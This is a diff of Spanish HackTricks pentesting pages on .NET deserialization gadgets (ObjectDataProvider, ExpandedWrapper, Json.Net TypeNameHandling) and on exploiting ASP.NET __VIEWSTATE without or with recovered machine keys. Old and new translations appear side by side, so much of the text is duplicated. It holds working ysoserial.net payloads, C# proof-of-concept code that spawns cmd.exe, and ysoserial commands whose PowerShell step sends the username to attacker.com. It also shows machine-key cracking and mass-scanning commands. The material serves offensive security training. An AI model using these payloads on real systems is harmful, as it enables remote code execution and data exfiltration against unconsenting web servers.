||||
Es importante agregar como referencia _C:\Windows\Microsoft.NET\Framework\v4.0.30319\WPF\PresentationFramework.dll_ para cargar `System.Windows.Data`
|
||||
|
||||
## ExpandedWrapper
|
||||
|
||||
Usando el exploit anterior, habrá casos en los que el **objeto** se va a **deserializar como** una instancia de _**ObjectDataProvider**_ (por ejemplo, en la vulnerabilidad de DotNetNuke, usando XmlSerializer, el objeto se deserializó usando `GetType`). Entonces, no tendremos **conocimiento del tipo de objeto que está envuelto** en la instancia de _ObjectDataProvider_ (`Process`, por ejemplo). Puedes encontrar más [información sobre la vulnerabilidad de DotNetNuke aquí](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).
|
||||
Utilizando el exploit anterior, habrá casos en los que el **objeto** será **deserializado como** una instancia de _**ObjectDataProvider**_ (por ejemplo en la vulnerabilidad de DotNetNuke, utilizando XmlSerializer, el objeto fue deserializado usando `GetType`). Entonces, **no se tendrá conocimiento del tipo de objeto que está envuelto** en la instancia de _ObjectDataProvider_ (`Process` por ejemplo). Puedes encontrar más [información sobre la vulnerabilidad de DotNetNuke aquí](https://translate.google.com/translate?hl=en\&sl=auto\&tl=en\&u=https%3A%2F%2Fpaper.seebug.org%2F365%2F\&sandbox=1).
|
||||
|
||||
Esta clase permite **especificar los tipos de objetos de los objetos que están encapsulados** en una instancia dada. Por lo tanto, esta clase se puede utilizar para encapsular un objeto fuente (_ObjectDataProvider_) en un nuevo tipo de objeto y proporcionar las propiedades que necesitamos (_ObjectDataProvider.MethodName_ y _ObjectDataProvider.MethodParameters_).\
|
||||
Esto es muy útil para casos como el presentado anteriormente, porque podremos **envolver \_ObjectDataProvider**_\*\* dentro de una instancia de \*\*_**ExpandedWrapper** y **cuando se deserialice** esta clase, **creará** el objeto _**OjectDataProvider**_ que **ejecutará** la **función** indicada en _**MethodName**_.
|
||||
Esta clase permite **especificar los tipos de objetos que están encapsulados** en una instancia dada. Por lo tanto, esta clase se puede utilizar para encapsular un objeto fuente (_ObjectDataProvider_) en un nuevo tipo de objeto y proporcionar las propiedades que necesitamos (_ObjectDataProvider.MethodName_ y _ObjectDataProvider.MethodParameters_).\
|
||||
Esto es muy útil para casos como el presentado anteriormente, porque podremos **envolver \_ObjectDataProvider**_\*\* dentro de una instancia de \*\*_**ExpandedWrapper** y **al deserializar** esta clase **creará** el objeto _**OjectDataProvider**_ que **ejecutará** la **función** indicada en _**MethodName**_.
|
||||
|
||||
Puedes comprobar este wrapper con el siguiente código:
|
||||
Puedes verificar este envoltorio con el siguiente código:
|
||||
```java
|
||||
using System.Windows.Data;
|
||||
using System.Diagnostics;
|
||||
|
|
@ -79,18 +79,18 @@ using System.Data.Services.Internal;
|
|||
|
||||
namespace ODPCustomSerialExample
|
||||
{
|
||||
class Program
|
||||
{
|
||||
static void Main(string[] args)
|
||||
{
|
||||
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
|
||||
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
|
||||
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
|
||||
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
|
||||
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
|
||||
myExpWrap.ProjectedProperty0.MethodName = "Start";
|
||||
}
|
||||
}
|
||||
class Program
|
||||
{
|
||||
static void Main(string[] args)
|
||||
{
|
||||
ExpandedWrapper<Process, ObjectDataProvider> myExpWrap = new ExpandedWrapper<Process, ObjectDataProvider>();
|
||||
myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
|
||||
myExpWrap.ProjectedProperty0.ObjectInstance = new Process();
|
||||
myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
|
||||
myExpWrap.ProjectedProperty0.MethodParameters.Add("/c calc.exe");
|
||||
myExpWrap.ProjectedProperty0.MethodName = "Start";
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
## Json.Net
|
||||
|
|
@ -108,38 +108,38 @@ using System.Collections.Generic;
|
|||
|
||||
namespace DeserializationTests
|
||||
{
|
||||
public class Account
|
||||
{
|
||||
public string Email { get; set; }
|
||||
public bool Active { get; set; }
|
||||
public DateTime CreatedDate { get; set; }
|
||||
public IList<string> Roles { get; set; }
|
||||
}
|
||||
class Program
|
||||
{
|
||||
static void Main(string[] args)
|
||||
{
|
||||
Account account = new Account
|
||||
{
|
||||
Email = "james@example.com",
|
||||
Active = true,
|
||||
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
|
||||
Roles = new List<string>
|
||||
{
|
||||
"User",
|
||||
"Admin"
|
||||
}
|
||||
};
|
||||
//Serialize the object and print it
|
||||
string json = JsonConvert.SerializeObject(account);
|
||||
Console.WriteLine(json);
|
||||
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
|
||||
|
||||
//Deserialize it
|
||||
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
|
||||
Console.WriteLine(desaccount.Email);
|
||||
}
|
||||
}
|
||||
public class Account
|
||||
{
|
||||
public string Email { get; set; }
|
||||
public bool Active { get; set; }
|
||||
public DateTime CreatedDate { get; set; }
|
||||
public IList<string> Roles { get; set; }
|
||||
}
|
||||
class Program
|
||||
{
|
||||
static void Main(string[] args)
|
||||
{
|
||||
Account account = new Account
|
||||
{
|
||||
Email = "james@example.com",
|
||||
Active = true,
|
||||
CreatedDate = new DateTime(2013, 1, 20, 0, 0, 0, DateTimeKind.Utc),
|
||||
Roles = new List<string>
|
||||
{
|
||||
"User",
|
||||
"Admin"
|
||||
}
|
||||
};
|
||||
//Serialize the object and print it
|
||||
string json = JsonConvert.SerializeObject(account);
|
||||
Console.WriteLine(json);
|
||||
//{"Email":"james@example.com","Active":true,"CreatedDate":"2013-01-20T00:00:00Z","Roles":["User","Admin"]}
|
||||
|
||||
//Deserialize it
|
||||
Account desaccount = JsonConvert.DeserializeObject<Account>(json);
|
||||
Console.WriteLine(desaccount.Email);
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
### Abusando de Json.Net
|
||||
|
|
@ -148,13 +148,13 @@ Utilizando [ysoserial.net](https://github.com/pwntester/ysoserial.net) creé el
|
|||
```java
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "calc.exe"
|
||||
{
|
||||
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
|
||||
'MethodName':'Start',
|
||||
'MethodParameters':{
|
||||
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
|
||||
'$values':['cmd', '/c calc.exe']
|
||||
},
|
||||
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
|
||||
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
|
||||
'MethodName':'Start',
|
||||
'MethodParameters':{
|
||||
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
|
||||
'$values':['cmd', '/c calc.exe']
|
||||
},
|
||||
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
|
||||
}
|
||||
```
|
||||
En este código puedes **probar el exploit**, simplemente ejecútalo y verás que se ejecuta una calculadora:
|
||||
|
|
@ -165,43 +165,43 @@ using Newtonsoft.Json;
|
|||
|
||||
namespace DeserializationTests
|
||||
{
|
||||
class Program
|
||||
{
|
||||
static void Main(string[] args)
|
||||
{
|
||||
//Declare exploit
|
||||
string userdata = @"{
|
||||
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
|
||||
'MethodName':'Start',
|
||||
'MethodParameters':{
|
||||
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
|
||||
'$values':['cmd', '/c calc.exe']
|
||||
},
|
||||
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
|
||||
}";
|
||||
//Exploit to base64
|
||||
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
|
||||
class Program
|
||||
{
|
||||
static void Main(string[] args)
|
||||
{
|
||||
//Declare exploit
|
||||
string userdata = @"{
|
||||
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
|
||||
'MethodName':'Start',
|
||||
'MethodParameters':{
|
||||
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
|
||||
'$values':['cmd', '/c calc.exe']
|
||||
},
|
||||
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
|
||||
}";
|
||||
//Exploit to base64
|
||||
string userdata_b64 = Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(userdata));
|
||||
|
||||
//Get data from base64
|
||||
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
|
||||
//Deserialize data
|
||||
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
|
||||
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
|
||||
{
|
||||
TypeNameHandling = TypeNameHandling.Auto
|
||||
});
|
||||
}
|
||||
}
|
||||
//Get data from base64
|
||||
byte[] userdata_nob64 = Convert.FromBase64String(userdata_b64);
|
||||
//Deserialize data
|
||||
string userdata_decoded = Encoding.UTF8.GetString(userdata_nob64);
|
||||
object obj = JsonConvert.DeserializeObject<object>(userdata_decoded, new JsonSerializerSettings
|
||||
{
|
||||
TypeNameHandling = TypeNameHandling.Auto
|
||||
});
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord** o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres que tu **empresa sea anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al [repositorio de hacktricks](https://github.com/carlospolop/hacktricks) y al [repositorio de hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -1,71 +1,80 @@
|
|||
# Explotación de \_\_VIEWSTATE sin conocer los secretos
|
||||
# Explotando \_\_VIEWSTATE sin conocer los secretos
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Equipos Rojos de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si quieres ver a tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sigue** a **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) en GitHub.
|
||||
|
||||
</details>
|
||||
|
||||
<img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
|
||||
|
||||
Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
|
||||
Si estás interesado en una **carrera de hacking** y hackear lo imposible - ¡**estamos contratando!** (_se requiere dominio del polaco escrito y hablado_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
## Qué es ViewState
|
||||
## ¿Qué es ViewState?
|
||||
|
||||
**ViewState** es el método que utiliza por defecto el framework ASP.NET para **preservar valores de páginas y controles entre páginas web**. Cuando se renderiza el HTML de la página, el estado actual de la página y los valores que necesitan ser retenidos durante el postback se serializan en cadenas codificadas en base64 y se muestran en el campo oculto ViewState o campos.\
|
||||
Las siguientes propiedades o combinación de propiedades se aplican a la información de ViewState:
|
||||
**ViewState** sirve como mecanismo predeterminado en ASP.NET para mantener datos de página y control a través de páginas web. Durante la renderización del HTML de una página, el estado actual de la página y los valores a preservar durante un postback se serializan en cadenas codificadas en base64. Estas cadenas se colocan en campos ViewState ocultos.
|
||||
|
||||
* Base64
|
||||
* Puede ser definido usando los atributos EnableViewStateMac y ViewStateEncryptionMode establecidos en false
|
||||
* Base64 + MAC (Código de Autenticación de Mensajes) Habilitado
|
||||
* Puede ser definido usando el atributo EnableViewStateMac establecido en true
|
||||
* Base64 + Encriptado
|
||||
* Puede ser definido usando el atributo viewStateEncryptionMode establecido en true
|
||||
La información de ViewState puede caracterizarse por las siguientes propiedades o sus combinaciones:
|
||||
|
||||
## **Casos de Prueba**
|
||||
- **Base64**:
|
||||
- Este formato se utiliza cuando tanto los atributos `EnableViewStateMac` como `ViewStateEncryptionMode` están establecidos en false.
|
||||
|
||||
- **Base64 + MAC (Código de Autenticación de Mensajes) Habilitado**:
|
||||
- La activación de MAC se logra configurando el atributo `EnableViewStateMac` en true. Esto proporciona verificación de integridad para los datos de ViewState.
|
||||
|
||||
- **Base64 + Encriptado**:
|
||||
- La encriptación se aplica cuando el atributo `ViewStateEncryptionMode` está establecido en true, garantizando la confidencialidad de los datos de ViewState.
|
||||
|
||||
## Casos de Prueba
|
||||
|
||||
La imagen es una tabla que detalla diferentes configuraciones para ViewState en ASP.NET basadas en la versión del framework .NET. Aquí tienes un resumen del contenido:
|
||||
|
||||
1. Para **cualquier versión de .NET**, cuando tanto MAC como Encriptación están deshabilitados, no se requiere un MachineKey y, por lo tanto, no hay un método aplicable para identificarlo.
|
||||
|
||||
2. Para **versiones anteriores a 4.5**, si MAC está habilitado pero la Encriptación no lo está, se requiere un MachineKey. El método para identificar el MachineKey se denomina "Blacklist3r".
|
||||
|
||||
3. Para **versiones anteriores a 4.5**, independientemente de si MAC está habilitado o no, si la Encriptación está habilitada, se necesita un MachineKey. Identificar el MachineKey es una tarea para "Blacklist3r - Desarrollo Futuro".
|
||||
|
||||
4. Para **versiones 4.5 y superiores**, todas las combinaciones de MAC y Encriptación (ya sea que ambos sean verdaderos, o uno sea verdadero y el otro falso) requieren un MachineKey. El MachineKey se puede identificar usando "Blacklist3r."
|
||||
|
||||
 (2).png>)
|
||||
|
||||
### Caso de Prueba: 1 – EnableViewStateMac=false y viewStateEncryptionMode=false
|
||||
|
||||
También es posible deshabilitar completamente el ViewStateMAC estableciendo la clave de registro `AspNetEnforceViewStateMac` en cero en:
|
||||
También es posible deshabilitar completamente el ViewStateMAC configurando la clave del registro `AspNetEnforceViewStateMac` en cero en:
|
||||
```
|
||||
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
||||
```
|
||||
**Identificación de Atributos ViewState**
|
||||
**Identificación de Atributos de ViewState**
|
||||
|
||||
Puede intentar identificar si ViewState está protegido por MAC capturando una solicitud que contenga este parámetro con BurpSuite:
|
||||
|
||||
|
||||
|
||||
Si Mac no se utiliza para proteger el parámetro, puede explotarlo usando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net).
|
||||
Puedes intentar identificar si ViewState está protegido por MAC capturando una solicitud que contenga este parámetro con BurpSuite. Si no se utiliza Mac para proteger el parámetro, puedes explotarlo usando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||||
```
|
||||
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
|
||||
```
|
||||
### Caso de prueba 1.5 – Como el Caso de prueba 1 pero el cookie ViewState no es enviado por el servidor
|
||||
### Caso de prueba 1.5 - Al igual que el Caso de prueba 1 pero la cookie ViewState no es enviada por el servidor
|
||||
|
||||
Los desarrolladores pueden **eliminar ViewState** para que no forme parte de una solicitud HTTP (el usuario no recibirá este cookie).\
|
||||
Se podría asumir que si **ViewState** **no está presente**, su implementación es **segura** frente a cualquier vulnerabilidad potencial que surja con la deserialización de ViewState.\
|
||||
Sin embargo, eso no es así. Si **añadimos el parámetro ViewState** al cuerpo de la solicitud y enviamos nuestro payload serializado creado con ysoserial, todavía seremos capaces de lograr **ejecución de código** como se muestra en el **Caso 1**.
|
||||
Los desarrolladores pueden **eliminar ViewState** para que no forme parte de una Solicitud HTTP (el usuario no recibirá esta cookie).\
|
||||
Uno podría asumir que si **ViewState** no está **presente**, su implementación está **segura** de cualquier vulnerabilidad potencial relacionada con la deserialización de ViewState.\
|
||||
Sin embargo, esto no es cierto. Si **agregamos el parámetro ViewState** al cuerpo de la solicitud y enviamos nuestra carga útil serializada creada usando ysoserial, aún podremos lograr **ejecución de código** como se muestra en **Caso 1**.
|
||||
|
||||
### Caso de Prueba: 2 – .Net < 4.5 y EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
|
||||
Para **habilitar ViewState MAC** para una **página específica** necesitamos hacer los siguientes cambios en un archivo aspx específico:
|
||||
### Caso de prueba: 2 - .Net < 4.5 y EnableViewStateMac=true & ViewStateEncryptionMode=false
|
||||
|
||||
Para **habilitar ViewState MAC** para una **página específica**, necesitamos realizar los siguientes cambios en un archivo aspx específico:
|
||||
```bash
|
||||
<%@ Page Language="C#" AutoEventWireup="true" CodeFile="hello.aspx.cs" Inherits="hello" enableViewStateMac="True"%>
|
||||
```
|
||||
También podemos hacerlo para la aplicación **overall** configurándolo en el archivo **web.config** como se muestra a continuación:
|
||||
```markup
|
||||
También podemos hacerlo para la aplicación en general configurándolo en el archivo **web.config** como se muestra a continuación:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<configuration>
|
||||
<system.web>
|
||||
|
|
@ -75,9 +84,7 @@ También podemos hacerlo para la aplicación **overall** configurándolo en el a
|
|||
</system.web>
|
||||
</configuration>
|
||||
```
|
||||
Como el parámetro está protegido por MAC, esta vez para ejecutar el ataque con éxito primero necesitamos la clave utilizada. En este caso, BurpSuite nos informará de que el parámetro está protegido por MAC:
|
||||
|
||||
|
||||
Como el parámetro está protegido por MAC esta vez, para ejecutar con éxito el ataque primero necesitamos la clave utilizada.
|
||||
|
||||
Puedes intentar usar [**Blacklist3r(AspDotNetWrapper.exe)**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) para encontrar la clave utilizada.
|
||||
```
|
||||
|
|
@ -86,73 +93,65 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
|
|||
--encrypteddata : __VIEWSTATE parameter value of the target application
|
||||
--modifier : __VIWESTATEGENERATOR parameter value
|
||||
```
|
||||
```markdown
|
||||
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) es otra herramienta que puede identificar machineKeys conocidos. Está escrita en Python, por lo que, a diferencia de Blacklist3r, no tiene dependencia de Windows. Para los viewstates de .NET, hay una utilidad "python blacklist3r", que es la forma más rápida de usarla.
|
||||
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) es otra herramienta que puede identificar machineKeys conocidos. Está escrita en Python, por lo que a diferencia de Blacklist3r, no depende de Windows. Para viewstates de .NET, existe la utilidad "python blacklist3r", que es la forma más rápida de usarla.
|
||||
|
||||
Puede suministrarse directamente con el viewstate y el generador:
|
||||
```
|
||||
Puede ser suministrada con el viewstate y el generador directamente:
|
||||
```
|
||||
pip install badsecrets
|
||||
git clone https://github.com/blacklanternsecurity/badsecrets
|
||||
cd badsecrets
|
||||
python examples/blacklist3r.py --viewstate /wEPDwUJODExMDE5NzY5ZGQMKS6jehX5HkJgXxrPh09vumNTKQ== --generator EDD8C9AE
|
||||
```
|
||||
```markdown
|
||||
O, puede conectarse directamente a la URL objetivo e intentar extraer el viewstate del HTML:
|
||||
```
|
||||
|
||||
|
||||
O bien, puede conectarse directamente a la URL de destino e intentar extraer el viewstate del HTML:
|
||||
```
|
||||
pip install badsecrets
|
||||
git clone https://github.com/blacklanternsecurity/badsecrets
|
||||
cd badsecrets
|
||||
python examples/blacklist3r.py --url http://vulnerablesite/vulnerablepage.aspx
|
||||
```
|
||||
Para buscar viewstates vulnerables a gran escala, en conjunto con la enumeración de subdominios, se puede utilizar el módulo `badsecrets` [**BBOT**](exploiting-__viewstate-parameter.md):
|
||||
|
||||
|
||||
Para buscar viewstates vulnerables a escala, en conjunto con la enumeración de subdominios, se puede utilizar el módulo `badsecrets` de [**BBOT**](exploiting-\_\_viewstate-parameter.md):
|
||||
```
|
||||
bbot -f subdomain-enum -m badsecrets -t evil.corp
|
||||
```
|
||||
|
||||
|
||||
|
||||
Si tienes suerte y encuentras la clave, puedes proceder con el ataque utilizando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
|
||||
Si tienes suerte y encuentras la clave, puedes proceder con el ataque usando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)**:**
|
||||
```
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --generator=CA0B0334 --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
|
||||
--generator = {__VIWESTATEGENERATOR parameter value}
|
||||
```
|
||||
En casos donde el parámetro `_VIEWSTATEGENERATOR` **no es enviado** por el servidor, **no** necesitas **proporcionar** el parámetro `--generator` **sino estos**:
|
||||
En los casos en que el parámetro `_VIEWSTATEGENERATOR` **no sea enviado** por el servidor, **no** necesitas **proporcionar** el parámetro `--generator` **pero estos sí**:
|
||||
```bash
|
||||
--apppath="/" --path="/hello.aspx"
|
||||
```
|
||||
### Caso de prueba: 3 – .Net < 4.5 y EnableViewStateMac=true/false y ViewStateEncryptionMode=true
|
||||
### Caso de prueba: 3 - .Net < 4.5 y EnableViewStateMac=true/false y ViewStateEncryptionMode=true
|
||||
|
||||
En este caso, Burp no encuentra si el parámetro está protegido con MAC porque no reconoce los valores. Entonces, el valor probablemente está cifrado y **necesitarás la Machine Key para cifrar tu payload** para explotar la vulnerabilidad.
|
||||
|
||||
|
||||
En este caso, no se sabe si el parámetro está protegido con MAC. Entonces, probablemente el valor esté encriptado y **necesitarás la Machine Key para encriptar tu carga útil** y explotar la vulnerabilidad.
|
||||
|
||||
**En este caso, el módulo** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **está en desarrollo...**
|
||||
|
||||
**Antes de .NET 4.5**, ASP.NET puede **aceptar** un parámetro \_`__VIEWSTATE`\_ **sin cifrar** de los usuarios **incluso** si **`ViewStateEncryptionMode`** se ha establecido en _**Always**_. ASP.NET **solo verifica** la **presencia** del parámetro **`__VIEWSTATEENCRYPTED`** en la solicitud. **Si se elimina este parámetro y se envía el payload sin cifrar, aún se procesará.**
|
||||
**Antes de .NET 4.5**, ASP.NET puede **aceptar** un parámetro \_`__VIEWSTATE`\_ **no encriptado** de los usuarios **incluso** si **`ViewStateEncryptionMode`** se ha establecido en _**Always**_. ASP.NET **solo verifica** la **presencia** del parámetro **`__VIEWSTATEENCRYPTED`** en la solicitud. **Si se elimina este parámetro y se envía la carga útil no encriptada, aún se procesará.**
|
||||
|
||||
Por lo tanto, si se conoce la Machinekey (por ejemplo, a través de un problema de recorrido de directorio), el comando de [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) utilizado en el **Caso 2**, se puede usar para realizar RCE utilizando la vulnerabilidad de deserialización de ViewState.
|
||||
Por lo tanto, si los atacantes encuentran una forma de obtener la Machine Key a través de otra vulnerabilidad como la travesía de archivos, el comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) utilizado en el **Caso 2**, se puede utilizar para realizar RCE utilizando la vulnerabilidad de deserialización de ViewState.
|
||||
|
||||
* Elimina el parámetro `__VIEWSTATEENCRYPTED` de la solicitud para explotar la vulnerabilidad de deserialización de ViewState, de lo contrario, devolverá un error de validación de MAC de Viewstate y el exploit fallará como se muestra en la Figura:
|
||||
* Elimina el parámetro `__VIEWSTATEENCRYPTED` de la solicitud para explotar la vulnerabilidad de deserialización de ViewState; de lo contrario, devolverá un error de validación de MAC de ViewState y la explotación fallará.
|
||||
|
||||
|
||||
### Caso de prueba: 4 - .Net >= 4.5 y EnableViewStateMac=true/false y ViewStateEncryptionMode=true/false excepto ambos atributos a false
|
||||
|
||||
### Caso de prueba: 4 – .Net >= 4.5 y EnableViewStateMac=true/false y ViewStateEncryptionMode=true/false excepto ambos atributos en false
|
||||
|
||||
Podemos forzar el uso del framework de ASP.NET especificando el siguiente parámetro dentro del archivo web.config como se muestra a continuación.
|
||||
```markup
|
||||
Podemos forzar el uso del framework ASP.NET especificando el siguiente parámetro dentro del archivo web.config como se muestra a continuación.
|
||||
```xml
|
||||
<httpRuntime targetFramework="4.5" />
|
||||
```
|
||||
Alternativamente, esto se puede hacer especificando la opción a continuación dentro del parámetro `machineKey` del archivo web.config.
|
||||
Alternativamente, esto se puede hacer especificando la siguiente opción dentro del parámetro `machineKey` del archivo web.config.
|
||||
```bash
|
||||
compatibilityMode="Framework45"
|
||||
```
|
||||
Como en el caso anterior, Burp no identifica si la solicitud está protegida por MAC porque **el valor está cifrado.** Entonces, para enviar un **payload válido, el atacante necesita la clave**.
|
||||
|
||||
|
||||
